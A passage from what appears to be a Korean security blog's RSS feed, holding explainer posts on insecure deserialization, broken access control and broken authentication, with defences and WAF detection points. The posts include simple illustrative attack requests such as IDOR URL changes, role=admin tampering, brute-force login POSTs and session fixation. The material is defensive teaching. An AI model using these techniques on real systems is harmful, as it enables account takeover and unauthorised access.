&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt; 악성 payload 를 담은 직렬화 데이터(&lt;/span&gt;&lt;span&gt;&lt;span&gt;base64&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;958&quot; data-start=&quot;874&quot; data-ke-size=&quot;size16&quot;&gt;서버가 이것을 &lt;b&gt;그대로 역직렬화하면&lt;/b&gt;&lt;br /&gt;&amp;rarr; 공격자의 악성 객체 안 메소드가 자동 실행될 수 있음&lt;br /&gt;&amp;rarr; 결과적으로 서버에서 명령이 실행되기도 함.&lt;/p&gt;
&lt;p data-end=&quot;1100&quot; data-start=&quot;960&quot; data-ke-size=&quot;size16&quot;&gt;특히 &lt;b&gt;Java의 Serializable&lt;/b&gt;,&lt;br /&gt;&lt;b&gt;PHP의 unserialize()&lt;/b&gt;,&lt;br /&gt;&lt;b&gt;Python pickle&lt;/b&gt;,&lt;br /&gt;&lt;b&gt;Ruby Marshal.load&lt;/b&gt;,&lt;br /&gt;&lt;b&gt;.NET BinaryFormatter&lt;/b&gt; 등이 취약한 대표적 사례.&lt;/p&gt;
&lt;hr data-end=&quot;1105&quot; data-start=&quot;1102&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1117&quot; data-start=&quot;1107&quot;&gt;  방어 방법&lt;/h1&gt;
&lt;h3 data-end=&quot;1151&quot; data-start=&quot;1119&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) 역직렬화 대상은 반드시 신뢰된 데이터만&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1175&quot; data-start=&quot;1152&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1175&quot; data-start=&quot;1152&quot;&gt;사용자 입력값을 절대 역직렬화하지 않기&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1220&quot; data-start=&quot;1177&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) 직렬화를 &lt;b&gt;JSON, JWT 등 안전한 포맷&lt;/b&gt;으로 변경&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1240&quot; data-start=&quot;1221&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1240&quot; data-start=&quot;1221&quot;&gt;객체 기반 직렬화 사용하지 않기&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1266&quot; data-start=&quot;1242&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 허용된 클래스만 역직렬화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1280&quot; data-start=&quot;1267&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1280&quot; data-start=&quot;1267&quot;&gt;&amp;ldquo;화이트리스트&amp;rdquo; 기반&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1307&quot; data-start=&quot;1282&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) 역직렬화 전에 입력값 검증&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1330&quot; data-start=&quot;1308&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1317&quot; data-start=&quot;1308&quot;&gt;크기 제한&lt;/li&gt;
&lt;li data-end=&quot;1330&quot; data-start=&quot;1318&quot;&gt;비정상 패턴 필터링&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1355&quot; data-start=&quot;1332&quot; data-ke-size=&quot;size23&quot;&gt;✔ 5) 라이브러리 취약점 패치&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1404&quot; data-start=&quot;1356&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1404&quot; data-start=&quot;1356&quot;&gt;Java Commons Collections, Jackson 등의 취약점 패치 중요&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1426&quot; data-start=&quot;1406&quot; data-ke-size=&quot;size23&quot;&gt;✔ 6) WAF 정책 적용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1476&quot; data-start=&quot;1427&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1476&quot; data-start=&quot;1427&quot;&gt;직렬화 Payload(예: Java gadget chain signatures) 차단&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/348</guid>
      <comments>https://toastfactory.tistory.com/348#entry348comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:22:59 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Broken Access Control이란?</title>
      <link>https://toastfactory.tistory.com/347</link>
      <description>&lt;p data-end=&quot;144&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Broken Access Control(취약한 접근 제어)**란&lt;br /&gt;사용자가 원래 접근하면 안 되는 리소스나 기능에 접근할 수 있게 되는 보안 취약점을 말해.&lt;br /&gt;OWASP Top 10에서도 &lt;b&gt;가장 위험한 취약점 1위&lt;/b&gt;로 다룰 정도로 매우 중요해.&lt;/p&gt;
&lt;hr data-end=&quot;149&quot; data-start=&quot;146&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;180&quot; data-start=&quot;151&quot;&gt;  Broken Access Control이란?&lt;/h1&gt;
&lt;p data-end=&quot;304&quot; data-start=&quot;181&quot; data-ke-size=&quot;size16&quot;&gt;애플리케이션이 사용자의 **권한(Role)**을 제대로 검증하지 않아서&lt;br /&gt;사용자가 다른 사람 데이터에 접근하거나,&lt;br /&gt;관리자 기능을 실행하거나,&lt;br /&gt;자신의 권한을 초과한 행동을 수행할 수 있는 상황을 의미해.&lt;/p&gt;
&lt;hr data-end=&quot;309&quot; data-start=&quot;306&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;328&quot; data-start=&quot;311&quot;&gt;  대표적인 공격 시나리오&lt;/h1&gt;
&lt;h3 data-end=&quot;395&quot; data-start=&quot;330&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ &lt;b&gt;IDOR (Insecure Direct Object Reference, 직접 객체 참조 취약점)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;420&quot; data-start=&quot;396&quot; data-ke-size=&quot;size16&quot;&gt;URL만 바꿔도 남의 정보가 보이는 경우&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/user/profile?userId=100 &amp;rarr; 내 정보 /user/profile?userId=101 &amp;rarr; 다른 사람 정보가 보임 ❌ &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;543&quot; data-start=&quot;504&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ &lt;b&gt;권한 상승(Privilege Escalation)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;599&quot; data-start=&quot;544&quot; data-ke-size=&quot;size16&quot;&gt;원래 일반 사용자 &amp;rarr; 관리자로 권한 상승&lt;br /&gt;예:&lt;br /&gt;요청 수정을 통해 admin용 기능을 실행&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;role&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;user&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;role&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;/span&gt;&lt;span&gt; 로 변조 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;661&quot; data-start=&quot;637&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ &lt;b&gt;수평적 접근 통제 우회&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;730&quot; data-start=&quot;662&quot; data-ke-size=&quot;size16&quot;&gt;사용자 A가 사용자 B의 데이터를 읽거나 삭제&lt;br /&gt;예:&lt;br /&gt;/order/1234/delete 를 호출해 남의 주문 삭제&lt;/p&gt;
&lt;h3 data-end=&quot;756&quot; data-start=&quot;732&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ &lt;b&gt;수직적 접근 통제 우회&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;769&quot; data-start=&quot;757&quot; data-ke-size=&quot;size16&quot;&gt;관리자 페이지 접속&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/admin/users &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;817&quot; data-start=&quot;791&quot; data-ke-size=&quot;size16&quot;&gt;보안 검증 없이 URL만 들어가도 접근되는 경우&lt;/p&gt;
&lt;h3 data-end=&quot;846&quot; data-start=&quot;819&quot; data-ke-size=&quot;size23&quot;&gt;5️⃣ &lt;b&gt;클라이언트 측 검사만 할 때&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;887&quot; data-start=&quot;847&quot; data-ke-size=&quot;size16&quot;&gt;자바스크립트로만 권한을 검사하는 경우&lt;br /&gt;유저가 JS 수정해서 우회 가능&lt;/p&gt;
&lt;hr data-end=&quot;892&quot; data-start=&quot;889&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;927&quot; data-start=&quot;894&quot;&gt;  Broken Access Control을 방지하려면&lt;/h1&gt;
&lt;h3 data-end=&quot;975&quot; data-start=&quot;929&quot; data-ke-size=&quot;size23&quot;&gt;✔ 서버 측에서 **권한 검증(Authorization)**을 반드시 할 것&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1039&quot; data-start=&quot;976&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1021&quot; data-start=&quot;976&quot;&gt;요청이 들어올 때마다 &lt;b&gt;이 사용자가 해당 리소스에 접근 가능한지&lt;/b&gt; 확인&lt;/li&gt;
&lt;li data-end=&quot;1039&quot; data-start=&quot;1022&quot;&gt;클라이언트 검증만 절대 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1072&quot; data-start=&quot;1041&quot; data-ke-size=&quot;size23&quot;&gt;✔ &lt;b&gt;URL, 파라미터, Body 모두 검증&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1111&quot; data-start=&quot;1073&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1111&quot; data-start=&quot;1073&quot;&gt;userId, fileId 등 식별자 직접 입력 요소는 특히 주의&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1148&quot; data-start=&quot;1113&quot; data-ke-size=&quot;size23&quot;&gt;✔ 민감한 기능은 &lt;b&gt;서버에서 Role 기반으로 체크&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1223&quot; data-start=&quot;1149&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1184&quot; data-start=&quot;1149&quot;&gt;RBAC(Role-Based Access Control)&lt;/li&gt;
&lt;li data-end=&quot;1223&quot; data-start=&quot;1185&quot;&gt;ABAC(Attribute-Based Access Control)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1248&quot; data-start=&quot;1225&quot; data-ke-size=&quot;size23&quot;&gt;✔ 관리자 페이지는 별도 인증 필요&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1263&quot; data-start=&quot;1249&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1263&quot; data-start=&quot;1249&quot;&gt;MFA, IP 제한 등&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1280&quot; data-start=&quot;1265&quot; data-ke-size=&quot;size23&quot;&gt;✔ 로그 및 모니터링&lt;/h3&gt;
&lt;p data-end=&quot;1308&quot; data-start=&quot;1281&quot; data-ke-size=&quot;size16&quot;&gt;권한 우회 시도 감지 &amp;rarr; 보안관제에서 빠르게 대응&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/347</guid>
      <comments>https://toastfactory.tistory.com/347#entry347comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:21:52 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Broken Authentication이란?</title>
      <link>https://toastfactory.tistory.com/346</link>
      <description>&lt;p data-end=&quot;110&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Broken Authentication(취약한 인증)**을 정리해줄게.&lt;br /&gt;보안관제 관점 + 개발 보안 관점까지 실무 위주로 설명할게.&lt;/p&gt;
&lt;hr data-end=&quot;115&quot; data-start=&quot;112&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;153&quot; data-start=&quot;117&quot;&gt;  &lt;b&gt;1. Broken Authentication이란?&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;254&quot; data-start=&quot;155&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Broken Authentication은 &lt;b&gt;인증(로그인) 기능이 안전하게 설계되지 않아 공격자가 계정을 도용하거나 인증을 우회할 수 있는 취약점&lt;/b&gt;을 의미해.&lt;/p&gt;
&lt;p data-end=&quot;262&quot; data-start=&quot;256&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말해:&lt;/p&gt;
&lt;p data-end=&quot;309&quot; data-start=&quot;264&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;로그인/세션 관리가 허술해서 공격자가 사용자의 계정으로 들어오는 상황&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;314&quot; data-start=&quot;311&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;361&quot; data-start=&quot;316&quot;&gt;  &lt;b&gt;2. Broken Authentication이 발생하는 대표 상황&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;382&quot; data-start=&quot;363&quot; data-ke-size=&quot;size26&quot;&gt;✔ 1) 취약한 비밀번호 정책&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;429&quot; data-start=&quot;383&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;402&quot; data-start=&quot;383&quot;&gt;너무 짧거나 쉬운 비밀번호 허용&lt;/li&gt;
&lt;li data-end=&quot;416&quot; data-start=&quot;403&quot;&gt;비밀번호 복잡도 없음&lt;/li&gt;
&lt;li data-end=&quot;429&quot; data-start=&quot;417&quot;&gt;중복 비밀번호 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;478&quot; data-start=&quot;431&quot; data-ke-size=&quot;size26&quot;&gt;✔ 2) Brute-force / Credential Stuffing 방어 미흡&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;515&quot; data-start=&quot;479&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;493&quot; data-start=&quot;479&quot;&gt;로그인 횟수 제한 없음&lt;/li&gt;
&lt;li data-end=&quot;506&quot; data-start=&quot;494&quot;&gt;CAPTCHA 없음&lt;/li&gt;
&lt;li data-end=&quot;515&quot; data-start=&quot;507&quot;&gt;2FA 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;533&quot; data-start=&quot;517&quot; data-ke-size=&quot;size26&quot;&gt;✔ 3) 세션 관리 취약&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;631&quot; data-start=&quot;534&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;548&quot; data-start=&quot;534&quot;&gt;세션 ID가 예측 가능&lt;/li&gt;
&lt;li data-end=&quot;585&quot; data-start=&quot;549&quot;&gt;로그인 후 세션 재발급 안 함(Session Fixation)&lt;/li&gt;
&lt;li data-end=&quot;603&quot; data-start=&quot;586&quot;&gt;세션 만료 시간 과도하게 김&lt;/li&gt;
&lt;li data-end=&quot;631&quot; data-start=&quot;604&quot;&gt;세션이 HTTPOnly/secure 옵션 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;649&quot; data-start=&quot;633&quot; data-ke-size=&quot;size26&quot;&gt;✔ 4) 인증 우회 가능&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;682&quot; data-start=&quot;650&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;670&quot; data-start=&quot;650&quot;&gt;직접 URL 접근으로 로그인 우회&lt;/li&gt;
&lt;li data-end=&quot;682&quot; data-start=&quot;671&quot;&gt;잘못된 인증 로직&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;715&quot; data-start=&quot;684&quot; data-ke-size=&quot;size26&quot;&gt;✔ 5) MFA(2단계 인증) 부재 또는 우회 가능&lt;/h2&gt;
&lt;h2 data-end=&quot;742&quot; data-start=&quot;717&quot; data-ke-size=&quot;size26&quot;&gt;✔ 6) 비밀번호 찾기/재설정 기능 취약&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;797&quot; data-start=&quot;743&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;754&quot; data-start=&quot;743&quot;&gt;이메일 검증 없음&lt;/li&gt;
&lt;li data-end=&quot;774&quot; data-start=&quot;755&quot;&gt;토큰이 너무 단순 / 만료 없음&lt;/li&gt;
&lt;li data-end=&quot;797&quot; data-start=&quot;775&quot;&gt;누구나 비밀번호 리셋 메일 요청 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;802&quot; data-start=&quot;799&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;824&quot; data-start=&quot;804&quot;&gt;  &lt;b&gt;3. 실무 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;848&quot; data-start=&quot;826&quot; data-ke-size=&quot;size26&quot;&gt;✔ 1) Brute-force 공격&lt;/h2&gt;
&lt;p data-end=&quot;872&quot; data-start=&quot;849&quot; data-ke-size=&quot;size16&quot;&gt;사용자ID를 고정하고 여러 비밀번호 시도:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;POST /&lt;/span&gt;&lt;span&gt;&lt;span&gt;login&lt;/span&gt;&lt;/span&gt;&lt;span&gt; username=&lt;/span&gt;&lt;span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;password&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;123456&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;952&quot; data-start=&quot;925&quot; data-ke-size=&quot;size26&quot;&gt;✔ 2) Credential Stuffing&lt;/h2&gt;
&lt;p data-end=&quot;974&quot; data-start=&quot;953&quot; data-ke-size=&quot;size16&quot;&gt;유출된 이메일/비밀번호 조합 대량 대입&lt;/p&gt;
&lt;h2 data-end=&quot;1003&quot; data-start=&quot;976&quot; data-ke-size=&quot;size26&quot;&gt;✔ 3) Session Fixation 공격&lt;/h2&gt;
&lt;p data-end=&quot;1008&quot; data-start=&quot;1004&quot; data-ke-size=&quot;size16&quot;&gt;공격자:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;sessionid&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=knownvalue &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1072&quot; data-start=&quot;1038&quot; data-ke-size=&quot;size16&quot;&gt;피해자가 로그인하면 &amp;rarr; 해당 세션이 그대로 유지 &amp;rarr; 계정 탈취&lt;/p&gt;
&lt;h2 data-end=&quot;1091&quot; data-start=&quot;1074&quot; data-ke-size=&quot;size26&quot;&gt;✔ 4) 인증 우회 취약점&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/login &amp;rarr; /home &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1139&quot; data-start=&quot;1115&quot; data-ke-size=&quot;size16&quot;&gt;로그인 검사 없이 접근 가능하면 인증 우회.&lt;/p&gt;
&lt;h2 data-end=&quot;1163&quot; data-start=&quot;1141&quot; data-ke-size=&quot;size26&quot;&gt;✔ 5) 비밀번호 재설정 링크 탈취&lt;/h2&gt;
&lt;p data-end=&quot;1178&quot; data-start=&quot;1164&quot; data-ke-size=&quot;size16&quot;&gt;재설정 링크가 너무 단순:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/reset?token=12345 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1210&quot; data-start=&quot;1207&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1237&quot; data-start=&quot;1212&quot;&gt;  &lt;b&gt;4. 공격자가 할 수 있는 일&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1339&quot; data-start=&quot;1239&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1248&quot; data-start=&quot;1239&quot;&gt;계정 탈취&lt;/li&gt;
&lt;li data-end=&quot;1262&quot; data-start=&quot;1249&quot;&gt;관리자 계정 장악&lt;/li&gt;
&lt;li data-end=&quot;1284&quot; data-start=&quot;1263&quot;&gt;대량 로그인 시도로 서비스 마비&lt;/li&gt;
&lt;li data-end=&quot;1297&quot; data-start=&quot;1285&quot;&gt;내부 정보 열람&lt;/li&gt;
&lt;li data-end=&quot;1315&quot; data-start=&quot;1298&quot;&gt;악성 게시글/댓글 업로드&lt;/li&gt;
&lt;li data-end=&quot;1339&quot; data-start=&quot;1316&quot;&gt;금전적 피해(결제 시스템이면 더 위험)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1344&quot; data-start=&quot;1341&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1374&quot; data-start=&quot;1346&quot;&gt;  &lt;b&gt;5. WAF / 보안관제 관점 대응&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;1396&quot; data-start=&quot;1376&quot; data-ke-size=&quot;size26&quot;&gt;✔ 1) 로그인 실패 반복 탐지&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1455&quot; data-start=&quot;1397&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1415&quot; data-start=&quot;1397&quot;&gt;동일 IP에서 여러 계정 시도&lt;/li&gt;
&lt;li data-end=&quot;1434&quot; data-start=&quot;1416&quot;&gt;동일 계정에서 여러 IP 시도&lt;/li&gt;
&lt;li data-end=&quot;1455&quot; data-start=&quot;1435&quot;&gt;짧은 시간에 과도한 실패 &amp;rarr; 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;1490&quot; data-start=&quot;1457&quot; data-ke-size=&quot;size26&quot;&gt;✔ 2) Credential Stuffing 패턴 차단&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1527&quot; data-start=&quot;1491&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1507&quot; data-start=&quot;1491&quot;&gt;유출 PW 목록 기반 탐지&lt;/li&gt;
&lt;li data-end=&quot;1527&quot; data-start=&quot;1508&quot;&gt;User-Agent 비정상 반복&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;1545&quot; data-start=&quot;1529&quot; data-ke-size=&quot;size26&quot;&gt;✔ 3) 세션 관련 탐지&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1580&quot; data-start=&quot;1546&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1561&quot; data-start=&quot;1546&quot;&gt;세션ID 값 비정상 패턴&lt;/li&gt;
&lt;li data-end=&quot;1580&quot; data-start=&quot;1562&quot;&gt;여러 지역에서 동일 세션 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;1599&quot; data-start=&quot;1582&quot; data-ke-size=&quot;size26&quot;&gt;✔ 4) MFA 우회 탐지&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1620&quot; data-start=&quot;1600&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1620&quot; data-start=&quot;1600&quot;&gt;로그인 성공 후 MFA 실패 반복&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1625&quot; data-start=&quot;1622&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1654&quot; data-start=&quot;1627&quot;&gt;  &lt;b&gt;6. 개발 단계 방어책 (중요!)&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;1673&quot; data-start=&quot;1656&quot; data-ke-size=&quot;size26&quot;&gt;  A. 인증 로직 강화&lt;/h2&gt;
&lt;h3 data-end=&quot;1691&quot; data-start=&quot;1675&quot; data-ke-size=&quot;size23&quot;&gt;✔ 비밀번호 정책 강화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1735&quot; data-start=&quot;1692&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1718&quot; data-start=&quot;1692&quot;&gt;대문자 + 소문자 + 숫자 + 특수문자 조합&lt;/li&gt;
&lt;li data-end=&quot;1735&quot; data-start=&quot;1719&quot;&gt;최소 8~12자 이상 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1752&quot; data-start=&quot;1737&quot; data-ke-size=&quot;size23&quot;&gt;✔ 로그인 시도 제한&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1793&quot; data-start=&quot;1753&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1771&quot; data-start=&quot;1753&quot;&gt;5회 이상 실패 시 잠금 처리&lt;/li&gt;
&lt;li data-end=&quot;1793&quot; data-start=&quot;1772&quot;&gt;IP 기반 rate-limit 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1811&quot; data-start=&quot;1795&quot; data-ke-size=&quot;size23&quot;&gt;✔ CAPTCHA 적용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1823&quot; data-start=&quot;1812&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1823&quot; data-start=&quot;1812&quot;&gt;자동화 공격 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1840&quot; data-start=&quot;1825&quot; data-ke-size=&quot;size23&quot;&gt;✔ MFA 필수 적용&lt;/h3&gt;
&lt;hr data-end=&quot;1845&quot; data-start=&quot;1842&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1864&quot; data-start=&quot;1847&quot; data-ke-size=&quot;size26&quot;&gt;  B. 세션 관리 강화&lt;/h2&gt;
&lt;h3 data-end=&quot;1894&quot; data-start=&quot;1866&quot; data-ke-size=&quot;size23&quot;&gt;✔ 로그인 성공 시 새로운 세션ID 발급&lt;/h3&gt;
&lt;p data-end=&quot;1916&quot; data-start=&quot;1895&quot; data-ke-size=&quot;size16&quot;&gt;(Session Fixation 방지)&lt;/p&gt;
&lt;h3 data-end=&quot;1960&quot; data-start=&quot;1918&quot; data-ke-size=&quot;size23&quot;&gt;✔ Secure + HttpOnly + SameSite 옵션 적용&lt;/h3&gt;
&lt;p data-end=&quot;1963&quot; data-start=&quot;1961&quot; data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
